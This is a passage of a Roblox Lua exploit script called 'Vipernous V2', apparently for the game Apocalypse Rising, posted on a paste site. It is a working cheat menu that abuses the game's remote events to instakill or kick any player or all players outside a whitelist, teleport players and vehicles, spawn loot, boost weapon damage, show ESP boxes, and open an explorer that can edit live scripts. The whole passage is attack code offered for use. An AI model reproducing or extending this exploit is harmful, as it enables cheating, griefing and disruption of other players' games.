  528. workspace.Remote.AddDamage:FireServer(game.Workspace[name].Humanoid, 100)
  529. wait(1)
  530. workspace:FindFirstChild("Corpse of " ..name,true):MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
  531. elseif t.Text == "ika" then -- instakill all
  532. for _,v in pairs(game.Players:GetPlayers()) do
  533. local found
  534. for _,b in pairs(whitelist) do
  535. if b == v.Name then
  536. found = true
  537. end
  538. end
  539. if not found then
  540. spawn(function()
  541. workspace.Remote.AddDamage:FireServer(v.Character.Humanoid, 100)
  542. wait(1)
  543. workspace:FindFirstChild("Corpse of " ..v.Name,true):MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
  544. end)
  545. end
  546. end
  547. elseif t.Text == "cmds" then -- show commands
  548. Instance.new("Message",Workspace).Text="credits -- Plays The Credits Audio"
  549. wait(3)
  550. game.Workspace.Message:Remove()
  551. Instance.new("Message",Workspace).Text="t/ -- Teleport Player To You"
  552. wait(3)
  553. game.Workspace.Message:Remove()
  554. Instance.new("Message",Workspace).Text="taw -- Teleport All Except Whitelist To You"
  555. wait(3)
  556. game.Workspace.Message:Remove()
  557. Instance.new("Message",Workspace).Text="ta -- Teleport All Players To You"
  558. wait(3)
  559. game.Workspace.Message:Remove()
  560. Instance.new("Message",Workspace).Text="ka -- Kick All Players From The Game"
  561. wait(3)
  562. game.Workspace.Message:Remove()
  563. Instance.new("Message",Workspace).Text="kick/ -- Kick Player From The Game"
  564. wait(3)
  565. game.Workspace.Message:Remove()
  566. Instance.new("Message",Workspace).Text="ik/ -- Insta Kill Player (Brings Body So You Can Loot It)"
  567. wait(3)
  568. game.Workspace.Message:Remove()
  569. Instance.new("Message",Workspace).Text="god/ -- God Player (Gods Any player)"
  570. wait(3)
  571. game.Workspace.Message:Remove()
  572. Instance.new("Message",Workspace).Text="kz -- Kill All Zombies"
  573. wait(3)
  574. game.Workspace.Message:Remove()
  575. Instance.new("Message",Workspace).Text="nk/ -- No Corpse Teleport Kill Player To You"
  576. wait(3)
  577. game.Workspace.Message:Remove()
  578. Instance.new("Message",Workspace).Text="tk/ -- Teleport Kill Player (Brings Player To You So You Can Kill"
  579. wait(3)
  580. game.Workspace.Message:Remove()
  581. Instance.new("Message",Workspace).Text="fly -- Enable Car Flight Binded to Q (Only Use In Vehicles To Avoid Crashing"
  582. wait(3)
  583. game.Workspace.Message:Remove()
  584. Instance.new("Message",Workspace).Text="fs/ -- Change Car Flight Speed"
  585. wait(3)
  586. game.Workspace.Message:Remove()
  587. Instance.new("Message",Workspace).Text="vt -- Teleport All Vehicles To You"
  588. wait(3)
  589. game.Workspace.Message:Remove()
  590. Instance.new("Message",Workspace).Text="rap -- Play Rap Music In Game (Swears)"
  591. wait(3)
  592. game.Workspace.Message:Remove()
  593. elseif t.Text == "vt" then -- vehicle teleport
  594. for _, v in pairs(vehicles) do
  595. local found = workspace:FindFirstChild(v, true)
  596. if found then
  597. found:MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-50,50),0,math.random(-50,50)))
  598. end
  599. end
  600. elseif #t.Text > 5 and t.Text:sub(1,5) == "kick/" then -- kick
  601. workspace.Remote.ChangeProperty:FireServer(playername(t.Text:sub(6)), "Parent", nil)
  602. elseif t.Text == "ka" then -- kick all
  603. for i,v in pairs(game.Players:GetPlayers()) do
  604. local found = true
  605. for _,b in pairs(whitelist) do
  606. if b == v.Name then
  607. found = false
  608. break
  609. end
  610. end
  611. if found then
  612. workspace.Remote.ChangeProperty:FireServer(v, "Parent", nil)
  613. end
  614. end
  615. elseif #t.Text > 2 and t.Text:sub(1,2) == "t/" then -- teleport
  616. teleport(playername(t.Text:sub(3)))
  617. elseif t.Text == "ta" then -- teleport all
  618. for i,v in pairs(game.Players:GetPlayers()) do
  619. if v.Name ~= "Exponentiality" then
  620. teleport(v)
  621. end
  622. end
  623. elseif t.Text == "taw" then -- teleport all whitelist
  624. for i,v in pairs(game.Players:GetPlayers()) do
  625. local found = true
  626. for _,b in pairs(whitelist) do
  627. if b == v.Name then
  628. found = false
  629. break
  630. end
  631. end
  632. if found then
  633. teleport(v)
  634. end
  635. end
  636. elseif t.Text == "credits" then -- u know wat this means
  637. RIPPPP()
  638. elseif t.Text == "rap" then -- u know wat this means
  639. playicp()
  640. end
  641. end)()
  642. end
  643. t.BackgroundTransparency = 1
  644. t.TextTransparency = 1
  645. t.Text = ""
  646. end)
  647.  
  648. game.Players.savageIy:GetMouse().KeyDown:connect(function(Key)
  649. if Key == "\\" then
  650. t.BackgroundTransparency = 0
  651. t.TextTransparency = 0
  652. t:CaptureFocus()
  653. end
  654. end)
  655.  
  656. end)
  657.  
  658. MainApocalypseButton2.MouseButton1Down:connect(function()
  659. game.Lighting.FogEnd= 10000000
  660. end)
  661.  
  662. MainApocalypseButton3.MouseButton1Down:connect(function()
  663. for Get,Players in ipairs(game.Players:GetPlayers()) do
  664. local PlayerBox = Instance.new("SelectionBox", Players.Character);
  665. PlayerBox.Adornee = Players.Character;
  666. PlayerBox.Color3 = Color3.new(0,255,0);
  667. end
  668. end)
  669.  
  670. MainApocalypseButton4.MouseButton1Down:connect(function()
  671. while wait() do local StarterGui = game:GetService('StarterGui')
  672. StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, true) end
  673. end)
  674.  
  675. MainApocalypseButton5.MouseButton1Down:connect(function()
  676. while wait() do local StarterGui = game:GetService('StarterGui')
  677. StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) end
  678. end)
  679.  
  680. MainApocalypseButton6.MouseButton1Down:connect(function()
  681. local plr = game.Players.savageIy.playerstats.skins
  682.  
  683. plr.skin3.Value = 17 -- Skin Color
  684. plr.skin3.material.Value = 9 -- Skin Material
  685. plr.skin1.Value = 19 -- Skin Color
  686. plr.skin1.material.Value = 9 -- Skin Material
  687. plr.skin2.Value = 20 -- Skin Color
  688. plr.skin2.material.Value = 9 -- Skin Material
  689. end)
  690.  
  691. MainApocalypseButton7.MouseButton1Down:connect(function()
  692. local plr = game.Players.savageIy.Backpack["FAL"]
  693.  
  694. plr.Stats.Recoil.Value = 0
  695. plr.Stats.Accuracy.Value = 0
  696. plr.Stats.Offset.Value = 0
  697.  
  698. end)
  699.  
  700. MainApocalypseButton8.MouseButton1Down:connect(function()
  701. local itemName = "BloodBag"
  702.  
  703. local new = game.Lighting.LootDrops[itemName]:Clone()
  704. new.Parent = game.Workspace
  705. new:MoveTo(game.Players.savageIy.Character.Torso.Position)
  706. end)
  707.  
  708. MainApocalypseButton9.MouseButton1Down:connect(function()
  709. local itemName = "MRE"
  710.  
  711. local new = game.Lighting.LootDrops[itemName]:Clone()
  712. new.Parent = game.Workspace
  713. new:MoveTo(game.Players.savageIy.Character.Torso.Position)
  714. end)
  715.  
  716. MainApocalypseButton10.MouseButton1Down:connect(function()
  717.  
  718. local itemName = "WaterBottle"
  719.  
  720. local new = game.Lighting.LootDrops[itemName]:Clone()
  721. new.Parent = game.Workspace
  722. new:MoveTo(game.Players.savageIy.Character.Torso.Position)
  723.  
  724. end)
  725.  
  726. MainApocalypseButton11.MouseButton1Down:connect(function()
  727. local itemName = "ACOG"
  728.  
  729. local new = game.Lighting.LootDrops[itemName]:Clone()
  730. new.Parent = game.Workspace
  731. new:MoveTo(game.Players.savageIy.Character.Torso.Position)
  732. end)
  733.  
  734.  
  735. MainApocalypseButton12.MouseButton1Down:connect(function()
  736. local itemName = "Suppressor762"
  737.  
  738. local new = game.Lighting.LootDrops[itemName]:Clone()
  739. new.Parent = game.Workspace
  740. new:MoveTo(game.Players.savageIy.Character.Torso.Position)
  741. end)
  742.  
  743.  
  744. MainApocalypseButton13.MouseButton1Down:connect(function()
  745. local itemName = "FAL"
  746.  
  747. local new = game.Lighting.LootDrops[itemName]:Clone()
  748. new.Parent = game.Workspace
  749. new:MoveTo(game.Players.savageIy.Character.Torso.Position)
  750.  
  751. end)
  752.  
  753.  
  754. MainApocalypseButton14.MouseButton1Down:connect(function()
  755. local itemName = "M14Ammo50"
  756.  
  757. local new = game.Lighting.LootDrops[itemName]:Clone()
  758. new.Parent = game.Workspace
  759. new:MoveTo(game.Players.savageIy.Character.Torso.Position)
  760. end)
  761.  
  762.  
  763. MainApocalypseButton15.MouseButton1Down:connect(function()
  764. local itemName = "MilitaryPackBlack"
  765.  
  766. local new = game.Lighting.LootDrops[itemName]:Clone()
  767. new.Parent = game.Workspace
  768. new:MoveTo(game.Players.savageIy.Character.Torso.Position)
  769. end)
  770.  
  771.  
  772. MainApocalypseButton16.MouseButton1Down:connect(function()
  773. game.Players.savageIy.Backpack["FAL"].Stats.Damage.Value = "BECBFJNRVZDISSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
  774. end)
  775.  
  776.  
  777. MainApocalypseButton17.MouseButton1Down:connect(function()
  778.  
  779. TextProperties = {"ClassName", "Name", "Value", "Text", "Reflectance", "Transparency", "Heat", "TeamName", "WalkSpeed", "Health", "MaxHealth", "Size", "Position", "AccountAge", "RobloxLocked", "TeamColor", "userId", "Brightness", "Ambient", "TimeOfDay", "FieldOfView", "CameraType", "LinkedSource"}
  780. BoolProperties = {"Anchored", "CanCollide", "Disabled", "Jump", "Sit", "Visible", "Enabled", "Locked", "FilteringEnabled", "StreamingEnabled", "GlobalShadows"}
  781. BrickColorProperties = {"BrickColor", "Color", "TeamColor", "Texture", "Value"}
  782. s = Instance.new("ScreenGui", game.Players.savageIy.PlayerGui)
  783. pgr = Instance.new("TextButton")
  784. pgr.Parent = s
  785. pgr.Size = UDim2.new(0,100,0,40)
  786. pgr.Position = UDim2.new(0,30,0,440)
  787. pgr.Text="Explorer"
  788. pgr.BackgroundTransparency = 0.3
  789. pgr.TextColor = BrickColor.new("White")
  790. pgr.BackgroundColor = BrickColor.new("Really Black")
  791. pgr.BorderColor = BrickColor.new("Black")
  792. pgr.Font = "ArialBold"
  793. pgr.FontSize = "Size14"
  794. pgr.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
  795. pgr.TextStrokeTransparency = 0.3
  796. pgr.BorderSizePixel = 1
  797. pgr.BorderColor = BrickColor.new("White")
  798.  
  799. if game.Players.savageIy.PlayerGui:findFirstChild("Explorer") then
  800. game.Players.savageIy.PlayerGui:findFirstChild("Explorer"):Remove()
  801. end
  802.  
  803. local Cloned
  804. local Deleted
  805. local DeleteParent
  806. local Player
  807. local Search
  808. local ScriptSearch
  809. local Gui
  810. local Cloned = nil
  811. local Deleted = nil
  812. local DeleteParent = nil
  813. local Current = 0
  814. local CurrentOption = 0
  815.  
  816. function Clear()
  817. if Gui then
  818. Gui:Remove()
  819. end
  820. Current = 0
  821. CurrentOption = 0
  822. end
  823.  
  824. function AddButton(N, Function, Color, Copy)
  825. if not N then
  826. error("RenderButton - No Name Specified")
  827. end
  828. if not Function then
  829. error("RenderButton - No Function Specified")
  830. end
  831. if not Color then
  832. Color = Color3.new(1, 1, 1)
  833. end
  834. if Copy == nil then
  835. Copy = true
  836. end
  837. P = Instance.new("TextButton")
  838. if Copy then
  839. P.Size = UDim2.new(0, 110, 0, 20)
  840. else
  841. P.Size = UDim2.new(0, 130, 0, 20)
  842. end
  843. P.Text = N.Name
  844. P.Name = N.Name
  845. P.Parent = Gui
  846. P.BackgroundColor3 = Color
  847. P.TextColor3 = Color3.new(0, 0, 0)
  848. P.BackgroundTransparency = 0.5
  849. P.Position = UDim2.new(0, ((math.modf(Current/30))*150)+300, 0, 50+(20*((Current%30)-1)))
  850. P.MouseButton1Click:connect(function()
  851. Function(P)
  852. end)
  853. D = Instance.new("TextButton")
  854. D.Size = UDim2.new(0, 20, 0, 20)
  855. D.Text = "X"
  856. D.Name = N.Name
  857. D.Parent = Gui
  858. D.BackgroundColor3 = Color3.new(1, 0, 0)
  859. D.TextColor3 = Color3.new(0, 0, 0)
  860. D.BackgroundTransparency = 0.5
  861. D.Position = UDim2.new(0, ((math.modf(Current/30))*150)+300+130, 0, 50+(20*((Current%30)-1)))
  862. D.MouseButton1Click:connect(function()
  863. Deleted = N
  864. DeleteParent = N.Parent
  865. N.Parent = nil
  866. Clear()
  867. Search(DeleteParent)
  868. end)
  869. if Copy then
  870. C = Instance.new("TextButton")
  871. C.Size = UDim2.new(0, 20, 0, 20)
  872. C.Text = "C"
  873. C.Name = N.Name
  874. C.Parent = Gui
  875. C.BackgroundColor3 = Color3.new(0, 1, 0.5)
  876. C.TextColor3 = Color3.new(0, 0, 0)
  877. C.BackgroundTransparency = 0.5
  878. C.Position = UDim2.new(0, ((math.modf(Current/30))*150)+300+110, 0, 50+(20*((Current%30)-1)))
  879. C.MouseButton1Click:connect(function()
  880. Cloned = N
  881. Clear()
  882. Search(N.Parent)
  883. end)
  884. end
  885. Current = Current + 1
  886. return P
  887. end
  888.  
  889. function AddOption(N, Function, Color, Text)
  890. if not N then
  891. error("RenderButton - No Name Specified")
  892. end
  893. if not Color then
  894. Color = Color3.new(1, 1, 1)
  895. end
  896. if Text == nil then
  897. Text = false
  898. end
  899. if Text then
  900. P = Instance.new("TextBox")
  901. else
  902. P = Instance.new("TextButton")
  903. end
  904. P.Text = N
  905. P.Name = N
  906. P.Parent = Gui
  907. P.BackgroundColor3 = Color
  908. P.TextColor3 = Color3.new(0, 0, 0)
  909. P.BackgroundTransparency = 0.5
  910. P.Size = UDim2.new(0, 150, 0, 20)
  911. P.Position = UDim2.new(0, ((math.modf(CurrentOption/30))*150)+150, 0, 50+(20*((CurrentOption%30)-1)))
  912. if not Text and Function then
  913. P.MouseButton1Click:connect(function() Function(P) end)
  914. end
  915. CurrentOption = CurrentOption + 1
  916. return P
  917. end
  918.  
  919. function AddTextOption(Obj, Prop)
  920. local Ob = Obj
  921. local Pro = Prop
  922. if type(Ob[Pro]) == "number" or type(Ob[Pro]) == "string" then
  923. CurrentOption = CurrentOption + 1
  924. local T = AddOption(Ob[Pro], nil, Color3.new(0.1, 0.4, 0.1), true)
  925. CurrentOption = CurrentOption - 2
  926. local O = AddOption("Change "..Pro..":", function() Ob[Pro] = T.Text end, Color3.new(0.1, 0.8, 0.1), false)
  927. CurrentOption = CurrentOption + 1
  928. end
  929. end
  930.  
  931. function AddBrickColorOption(Obj, Prop)
  932. local Ob = Obj
  933. local Pro = Prop
  934. if BrickColor.new(tostring(Ob[Pro])) == Ob[Pro] then
  935. CurrentOption = CurrentOption + 1
  936. local T = AddOption(tostring(Ob[Pro]), nil, Color3.new(0.1, 0.4, 0.1), true)
  937. CurrentOption = CurrentOption - 2
  938. local O = AddOption("Change "..Pro..":", function() Ob[Pro] = BrickColor.new(T.Text) end, Color3.new(0.1, 0.8, 0.1), false)
  939. CurrentOption = CurrentOption + 1
  940. end
  941. end
  942.  
  943. function AddBoolOption(Obj, Prop)
  944. local Ob = Obj
  945. local Pro = Prop
  946. if type(Ob[Pro]) == "boolean" then
  947. local O = AddOption(Pro..": "..tostring(Ob[Pro]), nil, Color3.new(0.1, 0.8, 0.1), false)
  948. O.MouseButton1Click:connect(function()
  949. if Ob[Pro] then
  950. Ob[Pro] = false
  951. O.Text = Pro..": false"
  952. else
  953. Ob[Pro] = true
  954. O.Text = Pro..": true"
  955. end
  956. end)
  957. end
  958. end
  959.  
  960. function TestProperty(Obj, Property)
  961. Success = pcall(function()
  962. if Obj[Property] then
  963. return
  964. end
  965. end)
  966. return Success
  967. end
  968.  
  969. function LoadOptions(Object)
  970. for Num, Prop in pairs(TextProperties) do
  971. if TestProperty(Object, Prop) then
  972. AddTextOption(Object, Prop)
  973. end
  974. end
  975. for Num, Prop in pairs(BoolProperties) do
  976. if TestProperty(Object, Prop) then
  977. AddBoolOption(Object, Prop)
  978. end
  979. end
  980. for Num, Prop in pairs(BrickColorProperties) do
  981. if TestProperty(Object, Prop) then
  982. AddBrickColorOption(Object, Prop)
  983. end
  984. end
  985. end
  986.  
  987. function Search(Object)
  988. Gui = Instance.new("ScreenGui")
  989. Gui.Parent = game.Players.savageIy.PlayerGui
  990. Gui.Name = "Explorer"
  991. if Object ~= game then
  992. AddOption("Back", function()
  993. Clear();
  994. Search(Object.Parent)
  995. end, Color3.new(0.5, 1, 1), false)
  996. end
  997. AddOption("Reload", function() Clear(); Search(Object); end, Color3.new(0.2, 1, 0.2), false)
  998. if Cloned then
  999. AddOption("Paste", function() Cloned:Clone().Parent = Object; Clear(); Search(Object); end, Color3.new(0.5, 1, 1), false)
  1000. end
  1001. if Deleted then
  1002. AddOption("Undo", function() Deleted.Parent = DeleteParent; Deleted = nil; DeletedParent = nil; Clear(); Search(Object); end, Color3.new(1, 0.6, 0.1), false)
  1003. end
  1004. if Object:IsA("Player") then
  1005. AddOption("Goto Character", function() Clear(); if Object.Character then Search(Object.Character); end end, Color3.new(1, 1, 1), false)
  1006. end
  1007. if Object:IsA("LocalScript") then
  1008. AddOption("EditScript", function() Clear(); ScriptSearch(Object); end, Color3.new(1, 1, 1), false)
  1009. end
  1010. if Object:IsA("Terrain") then
  1011. AddOption("Clear", function() Object:Clear(); end, Color3.new(1, 1, 1), false)
  1012. end
  1013. LoadOptions(Object)
  1014. AddOption("Close", Clear, Color3.new(1, 0.2, 0), false)
  1015. if not Object:IsA("Workspace") or not Object:IsA("Player") then
  1016. for Num, Obj in pairs(Object:GetChildren()) do
  1017. --if not Obj:IsA("BasePart") or not Object.Parent == game.Workspace then
  1018. if true then
  1019. if Obj:IsA("LocalScript") then
  1020. AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(1, 0, 0), true)
  1021. elseif Obj:IsA("Script") or Obj:IsA("StarterScript") or Obj:IsA("CoreScript") then
  1022. AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(0.5, 0.5, 0.8), true)
  1023. elseif Obj.Parent == game then
  1024. AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(1, 1, 1), false)
  1025. else
  1026. AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(1, 1, 1), true)
  1027. end
  1028. end
  1029. end
  1030. end
  1031. function MoveUp(Place, Amount)
  1032. for i,v in pairs(Place:GetChildren()) do
  1033. if v:IsA("TextLabel") or v:IsA("TextBox") then
  1034. v.Position = v.Position + UDim2.new(0,0,0,-Amount)
  1035. end
  1036. end
  1037. end
  1038. function MoveDown(Place, Amount)
  1039. for i,v in pairs(Place:GetChildren()) do
  1040. if v:IsA("TextLabel") or v:IsA("TextBox") then
  1041. v.Position = v.Position + UDim2.new(0,0,0,Amount)
  1042. end
  1043. end
  1044. end
  1045. i=0
  1046. function ScriptSearch(S)
  1047. Script2 = S
  1048. Script = Script2.Source
  1049. Table = {}
  1050. Enabled = true
  1051. Gui = Instance.new("ScreenGui")
  1052. Gui.Parent = game.Players.savageIy.PlayerGui
  1053. Gui.Name = "Explorer"
  1054. while Enabled do
  1055. Start, End = string.find(Script, '\n')
  1056. print(Start, End)
  1057. if Start and End then
  1058. table.insert(Table, string.sub(Script, 1, End))
  1059. New = string.sub(Script, End+1, string.len(Script))
  1060. Script = New
  1061. else
  1062. Enabled = false
  1063. table.insert(Table, string.sub(Script, 1, End))
  1064. print("Finished")
  1065. end
  1066. end
  1067. P = Instance.new("TextLabel")
  1068. P.Size = UDim2.new(0, 500, 0, 20)
  1069. P.Text = Script2.Name
  1070. P.Name = "Script Line"
  1071. P.Parent = Gui
  1072. P.BackgroundColor3 = Color3.new(1, 1, 1)
  1073. P.TextColor3 = Color3.new(0, 0, 0)
  1074. P.BackgroundTransparency = 0.5
  1075. P.Position = UDim2.new(0.5, -250, 0, 150+(20*(i-1)))
  1076. P.TextXAlignment = "Left"
  1077. i=i+1
  1078. New = {}
  1079. for I,Val in pairs(Table) do
  1080. print(Val)
  1081. P = Instance.new("TextBox")
  1082. P.ClearTextOnFocus = false
  1083. P.Size = UDim2.new(0, 500, 0, 20)
  1084. P.Text = Val
  1085. P.Name = "Script Line"
  1086. P.Parent = Gui
  1087. P.BackgroundColor3 = Color3.new(1, 1, 1)
  1088. P.TextColor3 = Color3.new(0, 0, 0)
  1089. P.BackgroundTransparency = 0.5
  1090. P.Position = UDim2.new(0.5, -250, 0, 150+(20*(i-1)))
  1091. P.TextXAlignment = "Left"
  1092. table.insert(New, P)
  1093. i=i+1
  1094. end
  1095. i=1
  1096. P = Instance.new("TextButton")
  1097. P.Size = UDim2.new(0, 20, 0, 20)
  1098. P.Text = "^"
  1099. P.Name = "Scroll"
  1100. P.Parent = Gui
  1101. P.BackgroundColor3 = Color3.new(1, 1, 1)
  1102. P.TextColor3 = Color3.new(0, 0, 0)
  1103. P.BackgroundTransparency = 0.5
  1104. P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
  1105. P.MouseButton1Click:connect(function()
  1106. MoveUp(Gui, -20)
  1107. end)
  1108. i=i+1
  1109. P = Instance.new("TextButton")
  1110. P.Size = UDim2.new(0, 20, 0, 20)
  1111. P.Text = "v"
  1112. P.Name = "Scroll"
  1113. P.Parent = Gui
  1114. P.BackgroundColor3 = Color3.new(1, 1, 1)
  1115. P.TextColor3 = Color3.new(0, 0, 0)
  1116. P.BackgroundTransparency = 0.5
  1117. P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
  1118. P.MouseButton1Click:connect(function()
  1119. MoveDown(Gui, -20)
  1120. end)
  1121. i=i+1
  1122. P = Instance.new("TextButton")
  1123. P.Size = UDim2.new(0, 20, 0, 20)
  1124. P.Text = "^^"
  1125. P.Name = "Scroll"
  1126. P.Parent = Gui
  1127. P.BackgroundColor3 = Color3.new(1, 1, 1)
  1128. P.TextColor3 = Color3.new(0, 0, 0)
  1129. P.BackgroundTransparency = 0.5
  1130. P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
  1131. P.MouseButton1Click:connect(function()
  1132. MoveUp(Gui, -200)
  1133. end)
  1134. i=i+1
  1135. P = Instance.new("TextButton")
  1136. P.Size = UDim2.new(0, 20, 0, 20)
  1137. P.Text = "vv"
  1138. P.Name = "Scroll"
  1139. P.Parent = Gui
  1140. P.BackgroundColor3 = Color3.new(1, 1, 1)
  1141. P.TextColor3 = Color3.new(0, 0, 0)
  1142. P.BackgroundTransparency = 0.5
  1143. P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
  1144. P.MouseButton1Click:connect(function()
  1145. MoveDown(Gui, -200)
  1146. end)
  1147. i=i+1
  1148. P = Instance.new("TextButton")
  1149. P.Size = UDim2.new(0, 20, 0, 20)
  1150. P.Text = "S"
  1151. P.Name = "Save"
  1152. P.Parent = Gui
  1153. P.BackgroundColor3 = Color3.new(0, 1, 0)
  1154. P.TextColor3 = Color3.new(0, 0, 0)
  1155. P.BackgroundTransparency = 0.5
  1156. P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
  1157. P.MouseButton1Click:connect(function()
  1158. StringS = ""
  1159. for Num, Obj in pairs(New) do
  1160. StringS = StringS..Obj.Text..'\n'
  1161. end
  1162. S.Source = StringS
  1163. S.Disabled = true
  1164. S.Disabled = false
  1165. end)
  1166. i=i+1
  1167. P = Instance.new("TextButton")
  1168. P.Size = UDim2.new(0, 20, 0, 20)
  1169. P.Text = "x"
  1170. P.Name = "Back"
  1171. P.Parent = Gui
  1172. P.BackgroundColor3 = Color3.new(1, 0.2, 0)
  1173. P.TextColor3 = Color3.new(0, 0, 0)
  1174. P.BackgroundTransparency = 0.5
  1175. P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
  1176. P.MouseButton1Click:connect(function()
  1177. Clear()
  1178. i=0
  1179. Search(S)
  1180. end)
  1181. i=i+1
  1182. end
  1183. end
  1184.  
  1185. pgr.MouseButton1Click:connect(function()
  1186. Clear()
  1187. Search(game)
  1188. end)
  1189.  
  1190. end)
  1191.  
  1192.  
  1193. MainApocalypseButton18.MouseButton1Down:connect(function()
  1194. game.Players.savageIy.Backpack["Makarov"].Stats.Damage.Value = "BECBFJNRVZDISSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
  1195. end)
  1196.  
  1197.  
  1198. MainApocalypseButton19.MouseButton1Down:connect(function()
  1199. local car = game.Workspace.Vehicles["Bicycle"]
  1200.  
  1201. car.Stats.MaxSpeed.Offroad.Value = 500
  1202. car.Stats.MaxSpeed.Value = 500
  1203.  
  1204. end)
  1205.  
  1206.  
  1207. MainApocalypseButton20.MouseButton1Down:connect(function()
  1208.  
  1209.  
  1210.  
  1211. Instance.new("Message",Workspace).Text=" Vipernous V2, Created by Liam aka savageIy. "
  1212. wait(5)
  1213. game.Workspace.Message:Remove()
  1214.  
  1215. Instance.new("Message",Workspace).Text=" Also by CentralAlien - Thanks for the help! "
  1216. wait(5)
  1217. game.Workspace.Message:Remove()
  1218.  
  1219. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement